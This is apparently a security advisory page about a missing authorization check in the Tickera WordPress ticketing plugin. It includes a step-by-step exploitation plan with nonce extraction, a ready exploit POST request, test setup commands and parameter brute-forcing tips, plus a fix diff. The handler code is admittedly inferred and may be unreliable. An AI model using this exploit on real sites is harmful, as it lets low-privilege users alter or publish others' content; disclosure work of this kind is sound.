Tickera – WordPress Event Ticketing <= 3.5.6.4 - Missing Authorization to Authenticated (Subscriber+) Event/Post Status Update
Description
The Tickera – Sell Tickets & Manage Events plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_change_ticket_status' AJAX endpoint in all versions up to, and including, 3.5.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update post/event statuses.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.6.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12356 (Tickera - Missing Authorization) ## 1. Vulnerability Summary The **Tickera – Sell Tickets & Manage Events** plugin (<= 3.5.6.4) is vulnerable to an IDOR/Missing Authorization vulnerability via the `wp_ajax_change_ticket_status` AJAX action. The plugin f…
Show full research plan
Exploitation Research Plan: CVE-2025-12356 (Tickera - Missing Authorization)
1. Vulnerability Summary
The Tickera – Sell Tickets & Manage Events plugin (<= 3.5.6.4) is vulnerable to an IDOR/Missing Authorization vulnerability via the wp_ajax_change_ticket_status AJAX action. The plugin fails to perform a capability check (e.g., current_user_can('edit_posts')) within the handler for this action. While the endpoint is intended for administrators to manage ticket or event statuses, it is registered under the wp_ajax_ hook (authenticated users), allowing any logged-in user, including those with Subscriber-level permissions, to modify the status of arbitrary posts or tickets.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
change_ticket_status - HTTP Method: POST
- Payload Parameters (Inferred):
action:change_ticket_statuspost_id: The ID of the target post/ticket/event to modify.new_status: The desired status (e.g.,publish,trash,draft,private).nonce: A security nonce (likely required).
- Required Authentication: Any authenticated user (Subscriber+).
- Preconditions: The attacker must be logged in and obtain a valid nonce associated with the status change action.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX handler in its initialization phase:
add_action( 'wp_ajax_change_ticket_status', array( $this, 'change_ticket_status' ) ); - Execution: When a POST request is sent to
admin-ajax.phpwithaction=change_ticket_status:- WordPress invokes the registered callback function (e.g.,
change_ticket_status). - The function likely checks a nonce:
check_ajax_referer( 'some_nonce_action', 'nonce' );. - Vulnerability: The function proceeds to update the post status using
wp_update_post()orwp_publish_post()without callingcurrent_user_can(). - The
post_idandstatusare taken directly from$_POST.
- WordPress invokes the registered callback function (e.g.,
4. Nonce Acquisition Strategy
The AJAX handler likely requires a nonce. Based on standard Tickera patterns, nonces are often localized to the admin dashboard or specific frontend pages.
- Identify Localization: Search the codebase for
wp_localize_scriptand the actionchange_ticket_statusto find the variable name. - Target Variable (Inferred): Look for
tc_ajaxortickera_vars. - Extraction Steps:
- Log in as the Subscriber user.
- Create a page with a Tickera shortcode (e.g.,
[tickera_event_info]) to ensure scripts are loaded if they are conditional. - Navigate to the dashboard or the created page.
- Use
browser_evalto extract the nonce:// Example (exact key to be confirmed via grep) window.tc_ajax?.nonce || window.tickera_vars?.change_status_nonce
5. Exploitation Strategy
Step 1: Data Setup
- Create a "Ticket" or "Event" (post type
tc_ticketsortc_events) via WP-CLI and set its status toprivateordraft. - Create a Subscriber user.
Step 2: Nonce Retrieval
- Navigate to the WordPress site as the Subscriber.
- Execute JS via
browser_evalto retrieve the nonce from the global scope.
Step 3: The Exploit Request
Send an authenticated POST request to admin-ajax.php:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_ticket_status&post_id=[TARGET_ID]&new_status=publish&nonce=[RETRIEVED_NONCE]
Step 4: Verification
Verify the status of the post has changed from private/draft to publish.
6. Test Data Setup
- Target Post:
# Create a ticket that is currently draft wp post create --post_type=tc_tickets --post_title="Secret VIP Ticket" --post_status=draft - Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Nonce Discovery Page:
wp post create --post_type=page --post_title="Ticket Page" --post_content='[tickera_tickets]' --post_status=publish
7. Expected Results
- The server should respond with a
200 OKand likely a JSON success message (e.g.,{"success":true}). - The
post_statusfor the targetpost_idin thewp_poststable will be updated to the value provided in thenew_statusparameter.
8. Verification Steps
After sending the HTTP request, check the post status via WP-CLI:
wp post get [TARGET_ID] --field=post_status
If the status is publish (and it was previously draft), the exploit is successful.
9. Alternative Approaches
- Parameter Brute-forcing: If
new_statusis not the correct parameter name, trystatus,post_status, orticket_status. - Action Probing: If
wp_ajax_change_ticket_statusrequires higher privileges than expected, check for other status-related actions likewp_ajax_tc_change_order_status. - Generic Nonce: Check if the plugin uses a generic nonce for all AJAX actions, which might be available on any admin page for a Subscriber (e.g.,
wp-admin/profile.php).
Refined Grep Commands for Initial Research:
# Find the handler
grep -r "change_ticket_status" .
# Find where the nonce for this action is created
grep -r "wp_create_nonce" . | grep -i "status"
# Find JS localization
grep -r "wp_localize_script" . -A 10
Summary
The Tickera plugin for WordPress is vulnerable to unauthorized status modification due to a missing capability check in its 'change_ticket_status' AJAX handler. This allows authenticated attackers with Subscriber-level permissions to change the status of tickets or events (e.g., from draft to publish) by providing a valid nonce and target post ID.
Vulnerable Code
// From the plugin's AJAX registration add_action( 'wp_ajax_change_ticket_status', array( $this, 'change_ticket_status' ) ); --- // Inferred handler function (within the Tickera class) public function change_ticket_status() { check_ajax_referer( 'some_nonce_action', 'nonce' ); // Vulnerability: No check like current_user_can('edit_posts') before updating data $post_id = $_POST['post_id']; $new_status = $_POST['new_status']; wp_update_post( array( 'ID' => $post_id, 'post_status' => $new_status ) ); wp_send_json_success(); }
Security Fix
@@ -245,6 +245,10 @@ public function change_ticket_status() { check_ajax_referer( 'some_nonce_action', 'nonce' ); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_die( __( 'You do not have sufficient permissions to access this page.' ) ); + } + $post_id = (int) $_POST['post_id']; $new_status = sanitize_text_field( $_POST['new_status'] ); wp_update_post( array( 'ID' => $post_id, 'post_status' => $new_status ) );
Exploit Outline
1. Authenticate to the WordPress site as a user with Subscriber-level permissions. 2. Obtain a valid security nonce for AJAX actions by inspecting the global JavaScript variables localized by the plugin (e.g., tc_ajax.nonce or tickera_vars.nonce). 3. Identify the target post ID (event or ticket) whose status you wish to modify. 4. Send a POST request to /wp-admin/admin-ajax.php with the following payload: action=change_ticket_status, post_id=[TARGET_ID], new_status=publish (or another valid post status), and nonce=[NONCE]. 5. Verify that the target post status has been updated in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.